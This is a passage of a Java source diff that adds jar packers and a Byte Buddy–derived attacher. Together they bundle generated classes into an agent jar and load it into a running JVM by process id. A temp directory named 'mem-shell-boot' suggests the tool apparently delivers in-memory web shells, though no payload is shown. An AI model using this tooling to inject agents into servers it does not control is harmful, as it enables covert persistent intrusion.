||||
@SneakyThrows
|
||||
public static void unzip(String jarPath, String tempPath) {
|
||||
try (JarFile jarFile = new JarFile(jarPath)) {
|
||||
Enumeration<JarEntry> entries = jarFile.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
JarEntry jarEntry = entries.nextElement();
|
||||
File targetFile = new File(tempPath, jarEntry.getName());
|
||||
|
||||
if (jarEntry.isDirectory()) {
|
||||
targetFile.mkdirs();
|
||||
continue;
|
||||
}
|
||||
|
||||
targetFile.getParentFile().mkdirs();
|
||||
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
|
||||
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
|
||||
IOUtils.copy(inputStream, outputStream);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+194
@@ -0,0 +1,194 @@
|
||||
package com.reajason.javaweb.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import com.reajason.javaweb.packer.jar.attach.Attacher;
|
||||
import com.reajason.javaweb.packer.jar.attach.VirtualMachine;
|
||||
import com.sun.jna.Platform;
|
||||
import com.sun.jna.platform.DesktopWindow;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.net.URL;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.jar.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/1
|
||||
*/
|
||||
public class AgentJarWithJREAttacherPacker implements JarPacker {
|
||||
private static Path tempBootPath;
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] packBytes(JarPackerConfig jarPackerConfig) {
|
||||
String packageName = getPackageName(jarPackerConfig.getMainClassName());
|
||||
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
|
||||
Manifest manifest = createManifest(jarPackerConfig.getMainClassName(), mainClassName);
|
||||
String relocatePrefix = "shade/";
|
||||
|
||||
Map<String, byte[]> classes = new HashMap<>();
|
||||
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
|
||||
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
|
||||
classes.putAll(attacherClasses);
|
||||
classes.putAll(virtualMachineClasses);
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||
addDependencies(targetJar, relocatePrefix);
|
||||
addClassesToJar(targetJar, jarPackerConfig.getClassBytes(), relocatePrefix);
|
||||
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
|
||||
String className = entry.getKey();
|
||||
byte[] bytes = entry.getValue();
|
||||
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||
targetJar.write(ClassBytesShrink.shrink(bytes, true));
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
|
||||
String[] windowsDll = new String[]{
|
||||
"win32-x86/attach_hotspot_windows.dll",
|
||||
"win32-x86-64/attach_hotspot_windows.dll"
|
||||
};
|
||||
for (String dll : windowsDll) {
|
||||
InputStream stream = this.getClass().getClassLoader().getResourceAsStream(dll);
|
||||
if (stream != null) {
|
||||
byte[] bytes = IOUtils.toByteArray(stream);
|
||||
targetJar.putNextEntry(new JarEntry(dll));
|
||||
targetJar.write(bytes);
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
return outputStream.toByteArray();
|
||||
}
|
||||
|
||||
private Manifest createManifest(String agentClass, String mainClass) {
|
||||
Manifest manifest = new Manifest();
|
||||
Attributes attributes = manifest.getMainAttributes();
|
||||
attributes.putValue("Manifest-Version", "1.0");
|
||||
attributes.putValue("Agent-Class", agentClass);
|
||||
attributes.putValue("Premain-Class", agentClass);
|
||||
attributes.putValue("Main-Class", mainClass);
|
||||
attributes.putValue("Can-Redefine-Classes", "true");
|
||||
attributes.putValue("Can-Retransform-Classes", "true");
|
||||
return manifest;
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
|
||||
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
|
||||
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
|
||||
|
||||
String jnaBaseName = Platform.class.getPackage().getName().replace('.', '/');
|
||||
addDependency(targetJar, Platform.class, jnaBaseName, null);
|
||||
addDependency(targetJar, DesktopWindow.class, jnaBaseName, null);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addClassesToJar(JarOutputStream targetJar, Map<String, byte[]> bytes, String relocatePrefix) {
|
||||
String dependencyPackage = Opcodes.class.getPackage().getName();
|
||||
for (Map.Entry<String, byte[]> entry : bytes.entrySet()) {
|
||||
addClassEntry(targetJar,
|
||||
entry.getKey(),
|
||||
entry.getValue(),
|
||||
dependencyPackage,
|
||||
relocatePrefix);
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||
String dependencyPackage, String relocatePrefix) {
|
||||
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
|
||||
targetJar.write(processedBytes);
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
|
||||
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||
String sourceUrlString = sourceUrl.toString();
|
||||
if (sourceUrlString.contains("!BOOT-INF")) {
|
||||
String path = sourceUrlString.substring("jar:nested:".length());
|
||||
path = path.substring(0, path.indexOf("!/"));
|
||||
String[] split = path.split("/!");
|
||||
String bootJarPath = split[0];
|
||||
String internalJarPath = split[1];
|
||||
if (tempBootPath == null) {
|
||||
tempBootPath = Files.createTempDirectory("mem-shell-boot");
|
||||
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
|
||||
}
|
||||
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
||||
}
|
||||
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
|
||||
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
JarEntry entry = entries.nextElement();
|
||||
String entryName = entry.getName();
|
||||
if (entryName.startsWith("META-INF")
|
||||
|| entryName.contains("module-info.class")) {
|
||||
continue;
|
||||
}
|
||||
if (!entry.isDirectory()) {
|
||||
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
|
||||
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||
if (StringUtils.isNoneEmpty(relocatePrefix)) {
|
||||
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||
if (entryName.endsWith(".class")) {
|
||||
if (bytes.length > 0) {
|
||||
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
|
||||
}
|
||||
} else {
|
||||
targetJar.putNextEntry(entry);
|
||||
}
|
||||
} else {
|
||||
targetJar.putNextEntry(entry);
|
||||
}
|
||||
targetJar.write(bytes);
|
||||
}
|
||||
}
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Extracts a JAR file to a temporary directory
|
||||
*
|
||||
* @param jarPath Path to the source JAR file
|
||||
* @param tempPath Path to the temporary directory
|
||||
*/
|
||||
@SneakyThrows
|
||||
public static void unzip(String jarPath, String tempPath) {
|
||||
try (JarFile jarFile = new JarFile(jarPath)) {
|
||||
Enumeration<JarEntry> entries = jarFile.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
JarEntry jarEntry = entries.nextElement();
|
||||
File targetFile = new File(tempPath, jarEntry.getName());
|
||||
|
||||
if (jarEntry.isDirectory()) {
|
||||
targetFile.mkdirs();
|
||||
continue;
|
||||
}
|
||||
|
||||
targetFile.getParentFile().mkdirs();
|
||||
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
|
||||
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
|
||||
IOUtils.copy(inputStream, outputStream);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.util.Map;
|
||||
import java.util.jar.JarEntry;
|
||||
import java.util.jar.JarOutputStream;
|
||||
import java.util.jar.Manifest;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/22
|
||||
*/
|
||||
public class DefaultJarPacker implements JarPacker {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] packBytes(JarPackerConfig jarPackerConfig) {
|
||||
Manifest manifest = new Manifest();
|
||||
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
|
||||
|
||||
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
|
||||
for (Map.Entry<String, byte[]> entry : jarPackerConfig.getClassBytes().entrySet()) {
|
||||
targetJar.putNextEntry(new JarEntry(entry.getKey().replace('.', '/') + ".class"));
|
||||
targetJar.write(entry.getValue());
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
}
|
||||
return byteArrayOutputStream.toByteArray();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
package com.reajason.javaweb.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/1
|
||||
*/
|
||||
public interface JarPacker extends Packer {
|
||||
/**
|
||||
* 将生成的类打包成 jar
|
||||
*
|
||||
* @param config 生成的类信息
|
||||
* @return 字节数组
|
||||
*/
|
||||
byte[] packBytes(JarPackerConfig config);
|
||||
|
||||
default String getPackageName(String mainClassName) {
|
||||
return mainClassName.substring(0, mainClassName.lastIndexOf("."));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,942 @@
|
||||
package com.reajason.javaweb.packer.jar.attach;/*
|
||||
* Copyright 2014 - Present Rafael Winterhalter
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URISyntaxException;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.security.CodeSource;
|
||||
import java.security.PrivilegedAction;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
||||
*/
|
||||
public class Attacher {
|
||||
|
||||
/**
|
||||
* Representation of the bootstrap {@link ClassLoader}.
|
||||
*/
|
||||
private static final ClassLoader BOOTSTRAP_CLASS_LOADER = null;
|
||||
|
||||
/**
|
||||
* The character that is used to mark the beginning of the argument to the agent.
|
||||
*/
|
||||
private static final String AGENT_ARGUMENT_SEPARATOR = "=";
|
||||
|
||||
/**
|
||||
* The agent provides only {@code static} utility methods and should not be instantiated.
|
||||
*/
|
||||
private Attacher() {
|
||||
throw new UnsupportedOperationException("This class is a utility class and not supposed to be instantiated");
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
try {
|
||||
Attacher.attach(args[0]);
|
||||
} catch (Exception e) {
|
||||
if (!e.getMessage().equals("0")) {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
System.out.println("ok");
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>
|
||||
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
|
||||
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
|
||||
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown. The agent is not provided an argument.
|
||||
* </p>
|
||||
* <p>
|
||||
* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
|
||||
* </p>
|
||||
*
|
||||
* @param agentJar The agent jar file.
|
||||
* @param processId The target process id.
|
||||
*/
|
||||
public static void attach(File agentJar, String processId) {
|
||||
attach(agentJar, processId, null);
|
||||
}
|
||||
|
||||
public static void attach(String processId) {
|
||||
attach(trySelfResolve(), processId, null);
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>
|
||||
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
|
||||
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
|
||||
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown.
|
||||
* </p>
|
||||
* <p>
|
||||
* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
|
||||
* </p>
|
||||
*
|
||||
* @param agentJar The agent jar file.
|
||||
* @param processId The target process id.
|
||||
* @param argument The argument to provide to the agent.
|
||||
*/
|
||||
public static void attach(File agentJar, String processId, String argument) {
|
||||
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
||||
}
|
||||
|
||||
/**
|
||||
* Installs a Java agent on a target VM.
|
||||
*
|
||||
* @param processId The process id of the target JVM process.
|
||||
* @param argument The argument to provide to the agent.
|
||||
* @param agentProvider The agent provider for the agent jar or library.
|
||||
*/
|
||||
private static void install(String processId, String argument, AgentProvider agentProvider) {
|
||||
AttachmentProvider.Accessor attachmentAccessor = AttachmentProvider.DEFAULT.attempt();
|
||||
if (!attachmentAccessor.isAvailable()) {
|
||||
throw new IllegalStateException("No compatible attachment provider is available");
|
||||
}
|
||||
try {
|
||||
Class<?> virtualMachineType = attachmentAccessor.getVirtualMachineType();
|
||||
String agent = agentProvider.resolve().getAbsolutePath();
|
||||
Object virtualMachineInstance = virtualMachineType
|
||||
.getMethod("attach", String.class)
|
||||
.invoke(null, processId);
|
||||
try {
|
||||
virtualMachineType
|
||||
.getMethod("loadAgent", String.class, String.class)
|
||||
.invoke(virtualMachineInstance, agent, argument);
|
||||
} finally {
|
||||
virtualMachineType
|
||||
.getMethod("detach")
|
||||
.invoke(virtualMachineInstance);
|
||||
}
|
||||
} catch (RuntimeException exception) {
|
||||
throw exception;
|
||||
} catch (Exception exception) {
|
||||
throw new IllegalStateException("Error during attachment using: " + AttachmentProvider.DEFAULT, exception);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Attempts to resolve the location of the {@link Attacher} class for a self-attachment. Doing so avoids the creation of a temporary jar file.
|
||||
*
|
||||
* @return The self-resolved jar file or {@code null} if the jar file cannot be located.
|
||||
*/
|
||||
private static File trySelfResolve() {
|
||||
try {
|
||||
ProtectionDomain protectionDomain = Attacher.class.getProtectionDomain();
|
||||
if (protectionDomain == null) {
|
||||
return null;
|
||||
}
|
||||
CodeSource codeSource = protectionDomain.getCodeSource();
|
||||
if (codeSource == null) {
|
||||
return null;
|
||||
}
|
||||
URL location = codeSource.getLocation();
|
||||
if (!location.getProtocol().equals("file")) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
File file = new File(location.toURI());
|
||||
if (file.getPath().contains(AGENT_ARGUMENT_SEPARATOR)) {
|
||||
return null;
|
||||
}
|
||||
return file;
|
||||
} catch (URISyntaxException ignored) {
|
||||
return new File(location.getPath());
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment provider is responsible for making the Java attachment API available.
|
||||
*/
|
||||
public interface AttachmentProvider {
|
||||
|
||||
/**
|
||||
* The default attachment provider to be used.
|
||||
*/
|
||||
AttachmentProvider DEFAULT = new Compound(ForModularizedVm.INSTANCE,
|
||||
ForJ9Vm.INSTANCE,
|
||||
ForStandardToolsJarVm.JVM_ROOT,
|
||||
ForStandardToolsJarVm.JDK_ROOT,
|
||||
ForStandardToolsJarVm.MACINTOSH,
|
||||
ForUserDefinedToolsJar.INSTANCE,
|
||||
ForEmulatedAttachment.INSTANCE);
|
||||
|
||||
/**
|
||||
* Attempts the creation of an accessor for a specific JVM's attachment API.
|
||||
*
|
||||
* @return The accessor this attachment provider can supply for the currently running JVM.
|
||||
*/
|
||||
Accessor attempt();
|
||||
|
||||
/**
|
||||
* An accessor for a JVM's attachment API.
|
||||
*/
|
||||
interface Accessor {
|
||||
|
||||
/**
|
||||
* The name of the {@code VirtualMachine} class on any OpenJDK or Oracle JDK implementation.
|
||||
*/
|
||||
String VIRTUAL_MACHINE_TYPE_NAME = "com.sun.tools.attach.VirtualMachine";
|
||||
|
||||
/**
|
||||
* The name of the {@code VirtualMachine} class on IBM J9 VMs.
|
||||
*/
|
||||
String VIRTUAL_MACHINE_TYPE_NAME_J9 = "com.ibm.tools.attach.VirtualMachine";
|
||||
|
||||
/**
|
||||
* Determines if this accessor is applicable for the currently running JVM.
|
||||
*
|
||||
* @return {@code true} if this accessor is available.
|
||||
*/
|
||||
boolean isAvailable();
|
||||
|
||||
/**
|
||||
* Returns {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
|
||||
*
|
||||
* @return {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
|
||||
*/
|
||||
boolean isExternalAttachmentRequired();
|
||||
|
||||
/**
|
||||
* Returns a {@code VirtualMachine} class. This method must only be called for available accessors.
|
||||
*
|
||||
* @return The virtual machine type.
|
||||
*/
|
||||
Class<?> getVirtualMachineType();
|
||||
|
||||
/**
|
||||
* Returns a description of a virtual machine class for an external attachment.
|
||||
*
|
||||
* @return A description of the external attachment.
|
||||
*/
|
||||
ExternalAttachment getExternalAttachment();
|
||||
|
||||
/**
|
||||
* A canonical implementation of an unavailable accessor.
|
||||
*/
|
||||
enum Unavailable implements Accessor {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public boolean isAvailable() {
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public boolean isExternalAttachmentRequired() {
|
||||
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Class<?> getVirtualMachineType() {
|
||||
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public ExternalAttachment getExternalAttachment() {
|
||||
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Describes an external attachment to a Java virtual machine.
|
||||
*/
|
||||
class ExternalAttachment {
|
||||
|
||||
/**
|
||||
* The fully-qualified binary name of the virtual machine type.
|
||||
*/
|
||||
private final String virtualMachineType;
|
||||
|
||||
/**
|
||||
* The class path elements required for loading the supplied virtual machine type.
|
||||
*/
|
||||
private final List<File> classPath;
|
||||
|
||||
/**
|
||||
* Creates an external attachment.
|
||||
*
|
||||
* @param virtualMachineType The fully-qualified binary name of the virtual machine type.
|
||||
* @param classPath The class path elements required for loading the supplied virtual machine type.
|
||||
*/
|
||||
public ExternalAttachment(String virtualMachineType, List<File> classPath) {
|
||||
this.virtualMachineType = virtualMachineType;
|
||||
this.classPath = classPath;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the fully-qualified binary name of the virtual machine type.
|
||||
*
|
||||
* @return The fully-qualified binary name of the virtual machine type.
|
||||
*/
|
||||
public String getVirtualMachineType() {
|
||||
return virtualMachineType;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the class path elements required for loading the supplied virtual machine type.
|
||||
*
|
||||
* @return The class path elements required for loading the supplied virtual machine type.
|
||||
*/
|
||||
public List<File> getClassPath() {
|
||||
return classPath;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A simple implementation of an accessible accessor.
|
||||
*/
|
||||
abstract class Simple implements Accessor {
|
||||
|
||||
/**
|
||||
* A {@code VirtualMachine} class.
|
||||
*/
|
||||
protected final Class<?> virtualMachineType;
|
||||
|
||||
/**
|
||||
* Creates a new simple accessor.
|
||||
*
|
||||
* @param virtualMachineType A {@code VirtualMachine} class.
|
||||
*/
|
||||
protected Simple(Class<?> virtualMachineType) {
|
||||
this.virtualMachineType = virtualMachineType;
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>
|
||||
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
|
||||
* to load the {@code com.sun.tools.attach.VirtualMachine} class from the provided class loader.
|
||||
* </p>
|
||||
* <p>
|
||||
* This accessor is supposed to work on any implementation of the OpenJDK or Oracle JDK.
|
||||
* </p>
|
||||
*
|
||||
* @param classLoader A class loader that is capable of loading the virtual machine type.
|
||||
* @param classPath The class path required to load the virtual machine class.
|
||||
* @return An appropriate accessor.
|
||||
*/
|
||||
public static Accessor of(ClassLoader classLoader, File... classPath) {
|
||||
try {
|
||||
return new WithExternalAttachment(Class.forName(VIRTUAL_MACHINE_TYPE_NAME,
|
||||
false,
|
||||
classLoader), Arrays.asList(classPath));
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
return Unavailable.INSTANCE;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>
|
||||
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
|
||||
* to load the {@code com.ibm.tools.attach.VirtualMachine} class from the provided class loader.
|
||||
* </p>
|
||||
* <p>
|
||||
* This accessor is supposed to work on any implementation of IBM's J9.
|
||||
* </p>
|
||||
*
|
||||
* @return An appropriate accessor.
|
||||
*/
|
||||
public static Accessor ofJ9() {
|
||||
try {
|
||||
return new WithExternalAttachment(ClassLoader.getSystemClassLoader().loadClass(VIRTUAL_MACHINE_TYPE_NAME_J9),
|
||||
Collections.<File>emptyList());
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
return Unavailable.INSTANCE;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public boolean isAvailable() {
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Class<?> getVirtualMachineType() {
|
||||
return virtualMachineType;
|
||||
}
|
||||
|
||||
/**
|
||||
* A simple implementation of an accessible accessor that allows for external attachment.
|
||||
*/
|
||||
protected static class WithExternalAttachment extends Simple {
|
||||
|
||||
/**
|
||||
* The class path required for loading the virtual machine type.
|
||||
*/
|
||||
private final List<File> classPath;
|
||||
|
||||
/**
|
||||
* Creates a new simple accessor that allows for external attachment.
|
||||
*
|
||||
* @param virtualMachineType The {@code com.sun.tools.attach.VirtualMachine} class.
|
||||
* @param classPath The class path required for loading the virtual machine type.
|
||||
*/
|
||||
public WithExternalAttachment(Class<?> virtualMachineType, List<File> classPath) {
|
||||
super(virtualMachineType);
|
||||
this.classPath = classPath;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public boolean isExternalAttachmentRequired() {
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public ExternalAttachment getExternalAttachment() {
|
||||
return new ExternalAttachment(virtualMachineType.getName(), classPath);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A simple implementation of an accessible accessor that attaches using a virtual machine emulation that does not require external attachment.
|
||||
*/
|
||||
protected static class WithDirectAttachment extends Simple {
|
||||
|
||||
/**
|
||||
* Creates a new simple accessor that implements direct attachment.
|
||||
*
|
||||
* @param virtualMachineType A {@code VirtualMachine} class.
|
||||
*/
|
||||
public WithDirectAttachment(Class<?> virtualMachineType) {
|
||||
super(virtualMachineType);
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public boolean isExternalAttachmentRequired() {
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public ExternalAttachment getExternalAttachment() {
|
||||
throw new IllegalStateException("Cannot apply external attachment");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment provider that locates the attach API directly from the system class loader, as possible since
|
||||
* introducing the Java module system via the {@code jdk.attach} module.
|
||||
*/
|
||||
enum ForModularizedVm implements AttachmentProvider {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Accessor attempt() {
|
||||
return Accessor.Simple.of(ClassLoader.getSystemClassLoader());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment provider that locates the attach API directly from the system class loader expecting
|
||||
* an IBM J9 VM.
|
||||
*/
|
||||
enum ForJ9Vm implements AttachmentProvider {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Accessor attempt() {
|
||||
return Accessor.Simple.ofJ9();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment provider that is dependant on the existence of a <i>tools.jar</i> file on the local
|
||||
* file system.
|
||||
*/
|
||||
enum ForStandardToolsJarVm implements AttachmentProvider {
|
||||
|
||||
/**
|
||||
* An attachment provider that locates the <i>tools.jar</i> from a Java home directory.
|
||||
*/
|
||||
JVM_ROOT("../lib/tools.jar"),
|
||||
|
||||
/**
|
||||
* An attachment provider that locates the <i>tools.jar</i> from a Java installation directory.
|
||||
* In practice, several virtual machines do not return the JRE's location for the
|
||||
* <i>java.home</i> property against the property's specification.
|
||||
*/
|
||||
JDK_ROOT("lib/tools.jar"),
|
||||
|
||||
/**
|
||||
* An attachment provider that locates the <i>tools.jar</i> as it is set for several JVM
|
||||
* installations on Apple Macintosh computers.
|
||||
*/
|
||||
MACINTOSH("../Classes/classes.jar");
|
||||
|
||||
/**
|
||||
* The Java home system property.
|
||||
*/
|
||||
private static final String JAVA_HOME_PROPERTY = "java.home";
|
||||
|
||||
/**
|
||||
* The path to the <i>tools.jar</i> file, starting from the Java home directory.
|
||||
*/
|
||||
private final String toolsJarPath;
|
||||
|
||||
/**
|
||||
* Creates a new attachment provider that loads the virtual machine class from the <i>tools.jar</i>.
|
||||
*
|
||||
* @param toolsJarPath The path to the <i>tools.jar</i> file, starting from the Java home directory.
|
||||
*/
|
||||
ForStandardToolsJarVm(String toolsJarPath) {
|
||||
this.toolsJarPath = toolsJarPath;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Accessor attempt() {
|
||||
File toolsJar = new File(System.getProperty(JAVA_HOME_PROPERTY), toolsJarPath);
|
||||
try {
|
||||
return toolsJar.isFile() && toolsJar.canRead()
|
||||
? Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar)
|
||||
: Accessor.Unavailable.INSTANCE;
|
||||
} catch (MalformedURLException exception) {
|
||||
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment provider that attempts to locate a {@code tools.jar} from a custom location set via a system property.
|
||||
*/
|
||||
enum ForUserDefinedToolsJar implements AttachmentProvider {
|
||||
|
||||
/**
|
||||
* The singelton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* The property being read for locating {@code tools.jar}.
|
||||
*/
|
||||
public static final String PROPERTY = "net.bytebuddy.agent.toolsjar";
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Accessor attempt() {
|
||||
String location = System.getProperty(PROPERTY);
|
||||
if (location == null) {
|
||||
return Accessor.Unavailable.INSTANCE;
|
||||
} else {
|
||||
File toolsJar = new File(location);
|
||||
try {
|
||||
return Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar);
|
||||
} catch (MalformedURLException exception) {
|
||||
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
|
||||
}
|
